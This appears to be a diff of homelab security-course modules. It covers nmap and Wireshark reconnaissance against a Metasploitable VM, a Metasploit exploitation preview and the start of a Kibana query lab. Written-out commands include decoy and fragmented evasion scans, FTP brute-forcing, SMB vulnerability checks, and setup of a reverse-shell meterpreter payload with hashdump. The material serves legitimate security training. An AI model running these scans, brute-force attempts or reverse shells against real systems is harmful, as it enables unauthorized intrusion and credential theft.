||||
- Click "Add"
|
||||
|
||||
6. Configure Network:
|
||||
- Hardware > Network Device > Edit
|
||||
- Bridge: vmbr0
|
||||
- VLAN Tag: 400 (VICTIM_NET)
|
||||
- Model: Intel E1000
|
||||
- Click "OK"
|
||||
|
||||
7. Set Boot Order:
|
||||
- Options > Boot Order
|
||||
- Enable only: ide0
|
||||
- Click "OK"
|
||||
|
||||
8. Start VM:
|
||||
- Console > Start
|
||||
- Login: msfadmin / msfadmin
|
||||
|
||||
9. Get IP Address:
|
||||
- Command: ifconfig
|
||||
- Note eth0 IP address (should be 10.10.4.x from DHCP)
|
||||
- Or set static: sudo nano /etc/network/interfaces
|
||||
auto eth0
|
||||
iface eth0 inet static
|
||||
address 10.10.4.10
|
||||
netmask 255.255.255.0
|
||||
gateway 10.10.4.1
|
||||
- Restart networking: sudo /etc/init.d/networking restart
|
||||
```
|
||||
|
||||
### Deploy Kali Linux (Attacker Platform)
|
||||
|
||||
```
|
||||
1. Download Kali Linux:
|
||||
- Source: https://www.kali.org/get-kali/#kali-virtual-machines
|
||||
- Choose: 64-bit Proxmox/QEMU image (.qcow2)
|
||||
|
||||
2. Import to Proxmox:
|
||||
- Upload .qcow2 to Proxmox storage
|
||||
- Or use qm importdisk method (similar to Metasploitable)
|
||||
|
||||
3. Create Kali VM:
|
||||
- VM ID: 201
|
||||
- Name: Kali-RedTeam
|
||||
- OS: Linux 6.x
|
||||
- CPU: 2 cores
|
||||
- RAM: 4096 MB (4 GB recommended for tools)
|
||||
- Disk: Import existing .qcow2
|
||||
- Network: vmbr0, VLAN Tag: 200 (RED_TEAM)
|
||||
|
||||
4. Start and Login:
|
||||
- Default credentials: kali / kali
|
||||
- Change password on first login: passwd
|
||||
|
||||
5. Verify Network:
|
||||
- Command: ip addr show eth0
|
||||
- Should have: 10.10.2.x
|
||||
- Test gateway: ping 10.10.2.1
|
||||
- Test target reach: ping 10.10.4.10
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 2.2: NMAP FUNDAMENTALS
|
||||
|
||||
### Understanding Nmap Scan Types
|
||||
|
||||
| Scan Type | Flag | Description | Requires Root | Stealthy |
|
||||
|-----------|------|-------------|---------------|----------|
|
||||
| TCP SYN | -sS | Half-open scan, doesn't complete handshake | Yes | High |
|
||||
| TCP Connect | -sT | Full connection, uses OS TCP stack | No | Low |
|
||||
| UDP | -sU | Scans UDP ports (slow) | Yes | Medium |
|
||||
| ACK | -sA | Tests firewall rules | Yes | Medium |
|
||||
| NULL/FIN/Xmas | -sN/-sF/-sX | Advanced evasion techniques | Yes | High |
|
||||
|
||||
### LAB 2.2.1: Basic Port Scanning
|
||||
|
||||
**From Kali Linux terminal:**
|
||||
|
||||
```bash
|
||||
# PREREQUISITE: Verify target reachability
|
||||
ping -c 4 10.10.4.10
|
||||
# Expected: 4 packets transmitted, 4 received
|
||||
|
||||
# SCAN 1: Quick scan of common ports
|
||||
nmap 10.10.4.10
|
||||
# Default: Scans top 1000 ports using TCP SYN scan
|
||||
# Expected output: List of open ports (21, 22, 23, 25, 80, 139, 445, 3306, etc.)
|
||||
|
||||
# SCAN 2: Scan specific ports
|
||||
nmap -p 80,443,22 10.10.4.10
|
||||
# -p = specify ports (can be range: 1-100 or list: 80,443)
|
||||
|
||||
# SCAN 3: Scan all 65,535 ports (SLOW - 5-10 minutes)
|
||||
sudo nmap -p- 10.10.4.10
|
||||
# -p- = all ports (1-65535)
|
||||
# Requires sudo for SYN scan
|
||||
|
||||
# SCAN 4: Fast scan (top 100 ports only)
|
||||
nmap -F 10.10.4.10
|
||||
# -F = fast mode
|
||||
|
||||
# SCAN 5: Scan port range
|
||||
nmap -p 1-1024 10.10.4.10
|
||||
# Scans well-known ports (1-1024)
|
||||
```
|
||||
|
||||
**Deliverable:** Save full port scan output to file:
|
||||
```bash
|
||||
sudo nmap -p- 10.10.4.10 -oN metasploitable_fullscan.txt
|
||||
# -oN = output normal format
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LAB 2.2.2: Service Version Detection
|
||||
|
||||
```bash
|
||||
# SCAN 6: Detect service versions
|
||||
sudo nmap -sV 10.10.4.10
|
||||
# -sV = Version detection
|
||||
# Expected: Shows specific software versions (e.g., "vsftpd 2.3.4", "Apache httpd 2.2.8")
|
||||
|
||||
# SCAN 7: Aggressive scan (OS + version + scripts + traceroute)
|
||||
sudo nmap -A 10.10.4.10
|
||||
# -A = Aggressive mode (combines -sV, -O, -sC, --traceroute)
|
||||
# Takes longer but provides comprehensive info
|
||||
|
||||
# SCAN 8: OS detection only
|
||||
sudo nmap -O 10.10.4.10
|
||||
# -O = OS detection (analyzes TCP/IP stack fingerprint)
|
||||
# Expected: "Linux 2.6.X"
|
||||
|
||||
# SCAN 9: Script scanning
|
||||
sudo nmap -sC 10.10.4.10
|
||||
# -sC = Run default NSE scripts (safe scripts for enumeration)
|
||||
# Example scripts: http-title, ssh-hostkey, smb-os-discovery
|
||||
|
||||
# SCAN 10: Specific script
|
||||
nmap --script=http-enum -p 80 10.10.4.10
|
||||
# Enumerates directories on web server
|
||||
```
|
||||
|
||||
**Understanding Version Detection Output:**
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp vsftpd 2.3.4 <-- Vulnerable version!
|
||||
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
|
||||
23/tcp open telnet Linux telnetd
|
||||
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|
||||
```
|
||||
|
||||
**Deliverable:** Save version scan with aggressive mode:
|
||||
```bash
|
||||
sudo nmap -A 10.10.4.10 -oA metasploitable_aggressive
|
||||
# -oA = output all formats (normal, XML, grepable)
|
||||
# Creates: metasploitable_aggressive.nmap, .xml, .gnmap
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LAB 2.2.3: Scan Timing and Evasion
|
||||
|
||||
```bash
|
||||
# TIMING TEMPLATES:
|
||||
# -T0 (Paranoid): Extremely slow, for IDS evasion (5 min/port)
|
||||
# -T1 (Sneaky): Very slow
|
||||
# -T2 (Polite): Slows down to reduce bandwidth
|
||||
# -T3 (Normal): Default
|
||||
# -T4 (Aggressive): Faster, assumes reliable network
|
||||
# -T5 (Insane): Very fast, may miss ports
|
||||
|
||||
# SCAN 11: Aggressive timing (use in labs only!)
|
||||
sudo nmap -T4 -p- 10.10.4.10
|
||||
# Faster than default, good for CTFs/labs
|
||||
|
||||
# SCAN 12: Stealthy timing (IDS evasion)
|
||||
sudo nmap -T1 -sS -p 80,443 10.10.4.10
|
||||
# Slow scan to avoid detection thresholds
|
||||
|
||||
# SCAN 13: Fragmented packets (firewall evasion)
|
||||
sudo nmap -f 10.10.4.10
|
||||
# -f = fragment packets (split into tiny pieces)
|
||||
|
||||
# SCAN 14: Decoy scan (hide among fake sources)
|
||||
sudo nmap -D RND:10 10.10.4.10
|
||||
# -D RND:10 = Use 10 random decoy IPs
|
||||
# Target sees scans from multiple sources (harder to identify real attacker)
|
||||
|
||||
# SCAN 15: Spoof source port (bypass firewall rules)
|
||||
sudo nmap --source-port 53 10.10.4.10
|
||||
# Appear to come from DNS port 53 (often allowed outbound)
|
||||
```
|
||||
|
||||
**Real-World Scenario:**
|
||||
```bash
|
||||
# Penetration test scenario: Enumerate without triggering alarms
|
||||
sudo nmap -sS -T2 -p 1-1000 --max-rate 10 10.10.4.10
|
||||
# -sS = SYN scan (stealth)
|
||||
# -T2 = Polite timing
|
||||
# --max-rate 10 = Max 10 packets/second (very slow)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 2.3: NETWORK TRAFFIC ANALYSIS WITH WIRESHARK
|
||||
|
||||
### Understanding Packet Capture
|
||||
|
||||
**Wireshark** is a GUI packet analyzer. **tcpdump** is command-line equivalent.
|
||||
|
||||
### LAB 2.3.1: Capturing Nmap Scan Traffic
|
||||
|
||||
**Step-by-Step:**
|
||||
|
||||
```bash
|
||||
# TERMINAL 1: Start packet capture
|
||||
sudo tcpdump -i eth0 -w nmap_scan.pcap
|
||||
# -i eth0 = capture on interface eth0
|
||||
# -w = write to file
|
||||
# Leave running...
|
||||
|
||||
# TERMINAL 2: Perform nmap scan
|
||||
sudo nmap -sS -p 80,443,22 10.10.4.10
|
||||
|
||||
# TERMINAL 1: Stop capture (Ctrl+C after scan completes)
|
||||
# Press Ctrl+C
|
||||
|
||||
# Verify capture file
|
||||
ls -lh nmap_scan.pcap
|
||||
# Should show file size (>0 bytes)
|
||||
```
|
||||
|
||||
### LAB 2.3.2: Analyzing with Wireshark GUI
|
||||
|
||||
```bash
|
||||
# Open Wireshark
|
||||
sudo wireshark nmap_scan.pcap &
|
||||
# & = run in background
|
||||
```
|
||||
|
||||
**Wireshark Analysis Steps:**
|
||||
|
||||
```
|
||||
1. FILTER FOR TCP SYN PACKETS:
|
||||
- Display filter: tcp.flags.syn == 1 && tcp.flags.ack == 0
|
||||
- Shows only SYN packets (scan probes)
|
||||
|
||||
2. OBSERVE STEALTH SCAN BEHAVIOR:
|
||||
- Find a packet to open port (e.g., port 80)
|
||||
- Click on SYN packet from Kali
|
||||
- Look at packet list:
|
||||
* Packet 1: SYN (from Kali to target port 80)
|
||||
* Packet 2: SYN-ACK (target responds - port is OPEN)
|
||||
* Packet 3: RST (Kali aborts - never completes connection)
|
||||
|
||||
3. FILTER FOR CLOSED PORT RESPONSE:
|
||||
- Display filter: tcp.port == 443 (if 443 is closed)
|
||||
- Observe:
|
||||
* SYN from Kali
|
||||
* RST-ACK from target (port CLOSED)
|
||||
|
||||
4. ANALYZE PACKET TIMING:
|
||||
- View > Time Display Format > Seconds Since Previous Displayed Packet
|
||||
- Note delay between probes (T4 timing = minimal delay)
|
||||
|
||||
5. FOLLOW TCP STREAM (for completed connections):
|
||||
- Right-click any packet > Follow > TCP Stream
|
||||
- See full conversation in ASCII
|
||||
- Won't work for SYN scans (no data exchanged)
|
||||
|
||||
6. EXPORT PACKET DETAILS:
|
||||
- File > Export Specified Packets
|
||||
- Save as: syn_scan_analysis.pcap
|
||||
```
|
||||
|
||||
**Key Wireshark Filters:**
|
||||
|
||||
```
|
||||
tcp.flags.syn == 1 && tcp.flags.ack == 0 → Only SYN packets
|
||||
tcp.flags.reset == 1 → RST packets
|
||||
ip.src == 10.10.2.x → Traffic from Kali
|
||||
ip.dst == 10.10.4.10 → Traffic to target
|
||||
tcp.port == 80 → Port 80 traffic
|
||||
http → HTTP protocol
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LAB 2.3.3: Identifying Scan Types in PCAPs
|
||||
|
||||
**Exercise:** Capture different scan types and compare signatures
|
||||
|
||||
```bash
|
||||
# Capture 1: SYN scan
|
||||
sudo tcpdump -i eth0 -w syn_scan.pcap &
|
||||
sudo nmap -sS -p 80 10.10.4.10
|
||||
sudo pkill tcpdump
|
||||
|
||||
# Capture 2: TCP Connect scan
|
||||
sudo tcpdump -i eth0 -w connect_scan.pcap &
|
||||
nmap -sT -p 80 10.10.4.10 # No sudo (uses full connection)
|
||||
sudo pkill tcpdump
|
||||
|
||||
# Capture 3: UDP scan
|
||||
sudo tcpdump -i eth0 -w udp_scan.pcap &
|
||||
sudo nmap -sU -p 53,161 10.10.4.10
|
||||
sudo pkill tcpdump
|
||||
|
||||
# Capture 4: NULL scan
|
||||
sudo tcpdump -i eth0 -w null_scan.pcap &
|
||||
sudo nmap -sN -p 80 10.10.4.10
|
||||
sudo pkill tcpdump
|
||||
```
|
||||
|
||||
**Compare in Wireshark:**
|
||||
|
||||
```
|
||||
SYN Scan: SYN → SYN-ACK → RST (never completes)
|
||||
Connect Scan: SYN → SYN-ACK → ACK → RST-ACK (full connection, then close)
|
||||
UDP Scan: UDP packet → ICMP "port unreachable" (if closed)
|
||||
NULL Scan: Packet with NO flags set → RST (if closed), no response (if open)
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot showing SYN scan packet sequence in Wireshark with annotations.
|
||||
|
||||
---
|
||||
|
||||
## LAB 2.4: SERVICE ENUMERATION
|
||||
|
||||
### Enumerating Common Services
|
||||
|
||||
**Goal:** Gather detailed information about discovered services for exploitation planning.
|
||||
|
||||
### LAB 2.4.1: FTP Enumeration (Port 21)
|
||||
|
||||
```bash
|
||||
# Check if anonymous login allowed
|
||||
nmap --script=ftp-anon -p 21 10.10.4.10
|
||||
# If anonymous allowed: Shows "Anonymous FTP login allowed"
|
||||
|
||||
# Manual FTP check
|
||||
ftp 10.10.4.10
|
||||
# Username: anonymous
|
||||
# Password: (just press Enter)
|
||||
# Commands:
|
||||
# ls - list files
|
||||
# cd - change directory
|
||||
# get file - download file
|
||||
# bye - exit
|
||||
|
||||
# Brute-force FTP credentials (ethical use only!)
|
||||
nmap --script=ftp-brute -p 21 10.10.4.10
|
||||
# Uses common username/password combinations
|
||||
```
|
||||
|
||||
### LAB 2.4.2: SSH Enumeration (Port 22)
|
||||
|
||||
```bash
|
||||
# Get SSH banner and supported algorithms
|
||||
nmap --script=ssh2-enum-algos -p 22 10.10.4.10
|
||||
|
||||
# Check for known SSH vulnerabilities
|
||||
nmap --script=ssh-* -p 22 10.10.4.10
|
||||
|
||||
# Manual banner grab
|
||||
nc 10.10.4.10 22
|
||||
# Shows: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
|
||||
# Press Ctrl+C to exit
|
||||
|
||||
# Attempt SSH login (if you have credentials)
|
||||
ssh msfadmin@10.10.4.10
|
||||
# Password: msfadmin (on Metasploitable)
|
||||
```
|
||||
|
||||
### LAB 2.4.3: HTTP/HTTPS Enumeration (Port 80/443)
|
||||
|
||||
```bash
|
||||
# Enumerate web directories
|
||||
nmap --script=http-enum -p 80 10.10.4.10
|
||||
# Finds: /phpMyAdmin/, /test/, /twiki/, etc.
|
||||
|
||||
# Get HTTP headers
|
||||
curl -I http://10.10.4.10
|
||||
# Shows server version: Apache/2.2.8 (Ubuntu)
|
||||
|
||||
# Web vulnerability scanning
|
||||
nikto -h http://10.10.4.10
|
||||
# Comprehensive web server scanner (takes 5-10 minutes)
|
||||
# Identifies: Outdated software, misconfigurations, known vulnerabilities
|
||||
|
||||
# Directory brute-forcing
|
||||
gobuster dir -u http://10.10.4.10 -w /usr/share/wordlists/dirb/common.txt
|
||||
# -u = URL
|
||||
# -w = wordlist
|
||||
# Finds hidden directories
|
||||
```
|
||||
|
||||
### LAB 2.4.4: SMB Enumeration (Port 139/445)
|
||||
|
||||
```bash
|
||||
# Enumerate SMB shares
|
||||
nmap --script=smb-enum-shares -p 445 10.10.4.10
|
||||
# Lists available network shares
|
||||
|
||||
# Enumerate SMB users
|
||||
nmap --script=smb-enum-users -p 445 10.10.4.10
|
||||
# Lists local user accounts
|
||||
|
||||
# OS discovery via SMB
|
||||
nmap --script=smb-os-discovery -p 445 10.10.4.10
|
||||
# Shows: OS, Computer name, Domain
|
||||
|
||||
# Check for SMB vulnerabilities (EternalBlue, etc.)
|
||||
nmap --script=smb-vuln* -p 445 10.10.4.10
|
||||
# Scans for known SMB exploits
|
||||
|
||||
# Manual SMB enumeration
|
||||
smbclient -L //10.10.4.10 -N
|
||||
# -L = list shares
|
||||
# -N = no password
|
||||
```
|
||||
|
||||
### LAB 2.4.5: MySQL Enumeration (Port 3306)
|
||||
|
||||
```bash
|
||||
# Check for default credentials
|
||||
nmap --script=mysql-empty-password -p 3306 10.10.4.10
|
||||
|
||||
# Enumerate MySQL users
|
||||
nmap --script=mysql-users -p 3306 10.10.4.10
|
||||
|
||||
# Get MySQL info
|
||||
nmap --script=mysql-info -p 3306 10.10.4.10
|
||||
|
||||
# Manual connection (if credentials known)
|
||||
mysql -h 10.10.4.10 -u root
|
||||
# Try common passwords: root, toor, admin, password
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 2.5: COMPREHENSIVE TARGET ASSESSMENT
|
||||
|
||||
### Create Full Reconnaissance Report
|
||||
|
||||
**Step-by-Step Workflow:**
|
||||
|
||||
```bash
|
||||
# 1. CREATE WORKING DIRECTORY
|
||||
mkdir -p ~/recon/metasploitable
|
||||
cd ~/recon/metasploitable
|
||||
|
||||
# 2. COMPREHENSIVE NMAP SCAN
|
||||
sudo nmap -sS -sV -sC -A -p- -T4 10.10.4.10 -oA full_scan
|
||||
# Saves: full_scan.nmap, full_scan.xml, full_scan.gnmap
|
||||
|
||||
# 3. VULNERABILITY SCAN
|
||||
nmap --script=vuln -p- 10.10.4.10 -oN vulnerability_scan.txt
|
||||
|
||||
# 4. UDP SCAN (top ports only - UDP is slow)
|
||||
sudo nmap -sU --top-ports 100 10.10.4.10 -oN udp_scan.txt
|
||||
|
||||
# 5. WEB ENUMERATION
|
||||
nikto -h http://10.10.4.10 -o nikto_scan.txt
|
||||
|
||||
# 6. SMB ENUMERATION
|
||||
enum4linux -a 10.10.4.10 > smb_enum.txt
|
||||
# -a = all enumeration (users, shares, groups, etc.)
|
||||
|
||||
# 7. ORGANIZE FINDINGS
|
||||
cat full_scan.nmap | grep "open" > open_ports.txt
|
||||
# Extract only open ports
|
||||
|
||||
# 8. CREATE SUMMARY
|
||||
cat << EOF > RECONNAISSANCE_SUMMARY.txt
|
||||
TARGET: Metasploitable 2 (10.10.4.10)
|
||||
SCAN DATE: $(date)
|
||||
SCANNER: Kali Linux (10.10.2.x)
|
||||
|
||||
OPEN PORTS:
|
||||
$(cat open_ports.txt)
|
||||
|
||||
HIGH-RISK SERVICES IDENTIFIED:
|
||||
- vsftpd 2.3.4 (Port 21) - Known backdoor vulnerability
|
||||
- SSH 4.7p1 (Port 22) - Outdated, weak key exchange
|
||||
- Samba 3.x (Port 139/445) - Multiple known exploits
|
||||
- MySQL (Port 3306) - Empty root password
|
||||
|
||||
NEXT STEPS:
|
||||
1. Research CVEs for identified service versions
|
||||
2. Prepare exploit modules in Metasploit (Module 3)
|
||||
3. Document attack vectors for reporting
|
||||
EOF
|
||||
|
||||
cat RECONNAISSANCE_SUMMARY.txt
|
||||
```
|
||||
|
||||
**Deliverable:** Full reconnaissance directory with all scan outputs and summary report.
|
||||
|
||||
---
|
||||
|
||||
## NETWORK TRAFFIC ANALYSIS EXERCISES
|
||||
|
||||
### Exercise 1: Baseline vs Anomalous Traffic
|
||||
|
||||
```bash
|
||||
# CAPTURE NORMAL TRAFFIC
|
||||
sudo tcpdump -i eth0 -w normal_traffic.pcap -c 1000
|
||||
# -c 1000 = capture 1000 packets
|
||||
# Let normal background traffic capture for 1 minute
|
||||
# Then Ctrl+C
|
||||
|
||||
# CAPTURE SCAN TRAFFIC
|
||||
sudo tcpdump -i eth0 -w scan_traffic.pcap &
|
||||
sudo nmap -T4 -p- 10.10.4.10
|
||||
sudo pkill tcpdump
|
||||
|
||||
# COMPARE IN WIRESHARK
|
||||
wireshark normal_traffic.pcap &
|
||||
wireshark scan_traffic.pcap &
|
||||
|
||||
# What to look for in scan traffic:
|
||||
# - High packet rate (thousands of SYNs per second)
|
||||
# - Sequential destination ports (80, 81, 82, 83...)
|
||||
# - Many RST packets (aborted connections)
|
||||
# - Single source IP targeting single destination
|
||||
```
|
||||
|
||||
### Exercise 2: Protocol Distribution Analysis
|
||||
|
||||
```
|
||||
1. Open scan_traffic.pcap in Wireshark
|
||||
2. Statistics > Protocol Hierarchy
|
||||
- Shows % of each protocol (TCP, UDP, ICMP)
|
||||
- Scan traffic = 99% TCP SYN
|
||||
3. Statistics > Conversations
|
||||
- Shows IP pairs and packet counts
|
||||
- Scan = One conversation with thousands of packets
|
||||
4. Statistics > I/O Graph
|
||||
- Visualize packet rate over time
|
||||
- Scan = Sharp spike during scan period
|
||||
```
|
||||
|
||||
**Deliverable:** Screenshot of Wireshark Protocol Hierarchy showing scan traffic composition.
|
||||
|
||||
---
|
||||
|
||||
## TROUBLESHOOTING GUIDE
|
||||
|
||||
### Issue: Nmap shows "Host seems down"
|
||||
|
||||
```bash
|
||||
# Check connectivity first
|
||||
ping 10.10.4.10
|
||||
|
||||
# If ping works but nmap doesn't:
|
||||
sudo nmap -Pn 10.10.4.10
|
||||
# -Pn = Skip host discovery (assume host is up)
|
||||
|
||||
# Check firewall rules in pfSense
|
||||
# Ensure RED_TEAM → VICTIM_NET is allowed
|
||||
```
|
||||
|
||||
### Issue: Wireshark shows "Permission denied"
|
||||
|
||||
```bash
|
||||
# Run with sudo
|
||||
sudo wireshark
|
||||
|
||||
# Or add user to wireshark group (better practice)
|
||||
sudo usermod -aG wireshark $USER
|
||||
# Logout and login for changes to take effect
|
||||
```
|
||||
|
||||
### Issue: tcpdump captures no packets
|
||||
|
||||
```bash
|
||||
# Verify correct interface
|
||||
ip addr show
|
||||
# Use correct interface name (eth0, ens18, etc.)
|
||||
|
||||
# Check if interface is up
|
||||
sudo ip link set eth0 up
|
||||
|
||||
# Verify you're capturing right traffic
|
||||
sudo tcpdump -i eth0 -n
|
||||
# -n = Don't resolve hostnames (faster)
|
||||
# Should see packets scrolling
|
||||
```
|
||||
|
||||
### Issue: Nmap scan is extremely slow
|
||||
|
||||
```bash
|
||||
# Use faster timing
|
||||
sudo nmap -T4 10.10.4.10
|
||||
|
||||
# Scan fewer ports initially
|
||||
nmap -F 10.10.4.10 # Fast mode (100 ports)
|
||||
|
||||
# Disable ping check
|
||||
sudo nmap -Pn -T4 -p 1-1000 10.10.4.10
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PROFESSOR'S GUIDANCE
|
||||
|
||||
### Understanding Reconnaissance in Real Engagements
|
||||
|
||||
**Lab environment vs Production:**
|
||||
- **Lab:** Aggressive scans (T4, T5) are fine - you own the network
|
||||
- **Production:** Use T2-T3, rate limiting, blend with normal traffic
|
||||
- **Legal requirement:** Always have written authorization before scanning
|
||||
|
||||
### Reconnaissance is Not Just Tool Execution
|
||||
|
||||
**Poor approach:** "I ran nmap -A and got results"
|
||||
|
||||
**Professional approach:**
|
||||
1. **Scope definition:** What am I allowed to scan?
|
||||
2. **Passive recon first:** OSINT, DNS lookups, public records
|
||||
3. **Strategic scanning:** Scan incrementally (common ports → all ports)
|
||||
4. **Service enumeration:** Deep dive into discovered services
|
||||
5. **Vulnerability mapping:** Match versions to CVE databases
|
||||
6. **Documentation:** Detailed notes for exploitation phase
|
||||
7. **Traffic analysis:** Understand what your tools do on the wire
|
||||
|
||||
### Common Student Mistakes
|
||||
|
||||
**1. Running scans without capturing traffic:**
|
||||
- You learn HOW attacks work by seeing packets
|
||||
- Future you (as defender) needs to recognize these patterns
|
||||
|
||||
**2. Not saving scan outputs:**
|
||||
- Use `-oA` to save all formats
|
||||
- XML output can be imported into tools like Metasploit
|
||||
|
||||
**3. Ignoring UDP services:**
|
||||
- UDP is stateless, harder to scan, but critical (DNS, SNMP, TFTP)
|
||||
- Always include UDP scans in assessments
|
||||
|
||||
**4. Over-relying on automated tools:**
|
||||
- Nikto finds 100 issues → 95 are false positives
|
||||
- Manual verification is essential
|
||||
|
||||
### Time Investment
|
||||
- Initial VM deployment: 1-2 hours
|
||||
- Nmap fundamentals: 2-3 hours
|
||||
- Wireshark packet analysis: 2-4 hours (most important!)
|
||||
- Service enumeration: 2-3 hours
|
||||
- Comprehensive assessment: 1-2 hours
|
||||
|
||||
**Total: 8-14 hours**
|
||||
|
||||
### Real-World Skills Developed
|
||||
|
||||
By mastering this module, you can:
|
||||
- Perform network reconnaissance in penetration tests
|
||||
- Analyze packet captures for incident response
|
||||
- Identify suspicious scanning in SOC role
|
||||
- Understand attacker methodology (kill chain Phase 1: Reconnaissance)
|
||||
|
||||
---
|
||||
|
||||
## KNOWLEDGE CHECK
|
||||
|
||||
Before proceeding to MOD3, you should be able to:
|
||||
|
||||
1. **Explain the difference between -sS and -sT scans**
|
||||
- Answer: -sS (SYN scan) doesn't complete handshake (stealth), -sT (Connect) uses full connection
|
||||
|
||||
2. **What does a SYN-ACK response indicate?**
|
||||
- Answer: Port is OPEN and accepting connections
|
||||
|
||||
3. **Why do attackers use decoy scans (-D)?**
|
||||
- Answer: To hide their real IP among fake sources, making attribution harder
|
||||
|
||||
4. **In Wireshark, how do you filter for only SYN packets?**
|
||||
- Answer: `tcp.flags.syn == 1 && tcp.flags.ack == 0`
|
||||
|
||||
5. **Name 3 high-risk services found on Metasploitable**
|
||||
- Answer: vsftpd 2.3.4 (backdoor), Samba 3.x (exploitable), MySQL (empty password)
|
||||
|
||||
6. **What tool enumerates SMB shares?**
|
||||
- Answer: `enum4linux`, `smbclient`, or `nmap --script=smb-enum-shares`
|
||||
|
||||
7. **Why should UDP scans use --top-ports?**
|
||||
- Answer: UDP scans are slow (no handshake confirmation), limiting to top ports is practical
|
||||
|
||||
---
|
||||
|
||||
## DELIVERABLES CHECKLIST
|
||||
|
||||
Before proceeding to Module 3, submit/complete:
|
||||
|
||||
- [ ] Full nmap scan output (-oA format)
|
||||
- [ ] Wireshark PCAP of SYN scan with annotations
|
||||
- [ ] Nikto web scan results
|
||||
- [ ] SMB enumeration output (enum4linux)
|
||||
- [ ] Reconnaissance summary report
|
||||
- [ ] Screenshots showing:
|
||||
- [ ] TCP three-way handshake in Wireshark
|
||||
- [ ] SYN scan RST behavior
|
||||
- [ ] Wireshark protocol hierarchy of scan traffic
|
||||
- [ ] Nmap version detection output
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 2**
|
||||
|
||||
**Next Steps:**
|
||||
1. Review all captured PCAPs - understand what each scan looks like
|
||||
2. Save all scan outputs to `~/recon/metasploitable/` directory
|
||||
3. Take snapshot of Kali VM: "Post-MOD2-Reconnaissance"
|
||||
4. Proceed to **MOD3: Exploitation & Post-Exploitation**
|
||||
|
||||
**Remember:** Every offensive technique you learn has a defensive counter. When you configure Security Onion in MOD4, you will create rules to detect these exact scans!
|
||||
58
MOD3_Exploitation.md
Normal file
58
MOD3_Exploitation.md
Normal file
@@ -0,0 +1,58 @@
|
||||
# FILE: MOD3_Exploitation.md
|
||||
# MODULE 3: EXPLOITATION & POST-EXPLOITATION
|
||||
|
||||
## ⚠️ ETHICAL USE DISCLAIMER
|
||||
**This module teaches offensive security techniques for AUTHORIZED ENVIRONMENTS ONLY.**
|
||||
- All exploits demonstrated are against VMs you own
|
||||
- Never use these techniques on systems without explicit written permission
|
||||
- Unauthorized computer access is illegal (Computer Fraud and Abuse Act, 18 U.S.C. § 1030)
|
||||
- Purpose: Learn offensive techniques to better defend systems
|
||||
|
||||
## Learning Objectives
|
||||
By completing this module, you will:
|
||||
- Match discovered services to known CVEs (Common Vulnerabilities and Exposures)
|
||||
- Configure and execute exploits using Metasploit Framework
|
||||
- Understand the difference between bind and reverse shells
|
||||
- Perform post-exploitation enumeration and privilege escalation
|
||||
- Maintain persistent access to compromised systems (lab environment only)
|
||||
- Document exploitation chains for penetration testing reports
|
||||
|
||||
---
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Vulnerability Assessment
|
||||
**CVE (Common Vulnerabilities and Exposures):** Standardized identifiers for publicly known security vulnerabilities.
|
||||
- Example: CVE-2011-2523 (vsftpd 2.3.4 backdoor)
|
||||
- Database: https://cve.mitre.org or https://nvd.nist.gov
|
||||
|
||||
### The Metasploit Framework
|
||||
**Architecture:**
|
||||
- **Exploits:** Code that takes advantage of vulnerabilities
|
||||
- **Payloads:** Code executed after successful exploit (shells, backdoors)
|
||||
- **Auxiliary:** Scanner and fuzzer modules (non-exploit)
|
||||
- **Post:** Post-exploitation modules (privilege escalation, credential harvesting)
|
||||
|
||||
### Shells Explained
|
||||
|
||||
**Reverse Shell (Attacker Listens):**
|
||||
```
|
||||
Attacker Target
|
||||
| |
|
||||
| (Listening :4444) |
|
||||
|<--- Connect to Attacker --| (Target initiates connection)
|
||||
|---- Shell Access -------->|
|
||||
```
|
||||
**Why better?** Bypasses inbound firewall rules. Victim initiates "outbound" connection.
|
||||
|
||||
---
|
||||
|
||||
## Professor's Guide
|
||||
Once you select an exploit (`use exploit/...`), you must configure the `RHOSTS` (Remote Host / Target IP) and your `LHOST` (Local Host / Kali IP). The payload is crucial—set it to a reverse shell (`set payload linux/x86/meterpreter/reverse_tcp`). When you type `exploit`, Kali will send the malicious traffic, and if successful, the target will connect *back* to you, bypassing inbound firewall rules.
|
||||
Once you have the Meterpreter session, practice commands like `sysinfo`, `hashdump`, and `shell` to interact with the compromised operating system.
|
||||
|
||||
**CONTINUED IN FULL VERSION - See MOD3_Exploitation_FULL.md for complete detailed labs**
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 3 PREVIEW**
|
||||
292
MOD4.5_SIEM_Operations.md
Normal file
292
MOD4.5_SIEM_Operations.md
Normal file
@@ -0,0 +1,292 @@
|
||||
# FILE: MOD4.5_SIEM_Operations.md
|
||||
# MODULE 4.5: SIEM OPERATIONS & LOG ANALYSIS
|
||||
|
||||
## Learning Objectives
|
||||
- Master KQL (Kibana Query Language) for Security Onion
|
||||
- Build custom dashboards for threat visualization
|
||||
- Perform log correlation across multiple data sources
|
||||
- Tune alerts to reduce false positives
|
||||
- Export data for integration with custom SOC dashboard (React)
|
||||
|
||||
---
|
||||
|
||||
## LAB 4.5.1: KIBANA QUERY LANGUAGE (KQL) FUNDAMENTALS
|
||||
|
||||
### Basic KQL Syntax
|
||||
```
|
||||
# Search for specific field value
|
||||
event.module: "suricata"
|
||||
source.ip: "10.10.2.50"
|
||||
|
||||
# Multiple conditions (AND)
|
||||
event.module: "suricata" AND alert.signature: "GPL EXPLOIT"
|
||||
|
||||
# OR condition
|
||||
source.ip: ("10.10.2.50" OR "10.10.2.51")
|
||||
|
||||
# Wildcards
|
||||
alert.signature: *nmap*
|
||||
|
||||
# NOT operator
|
||||
event.module: "suricata" NOT alert.severity: 3
|
||||
|
||||
# Field exists
|
||||
_exists_: alert.signature
|
||||
|
||||
# Range queries
|
||||
event.duration: >=1000000
|
||||
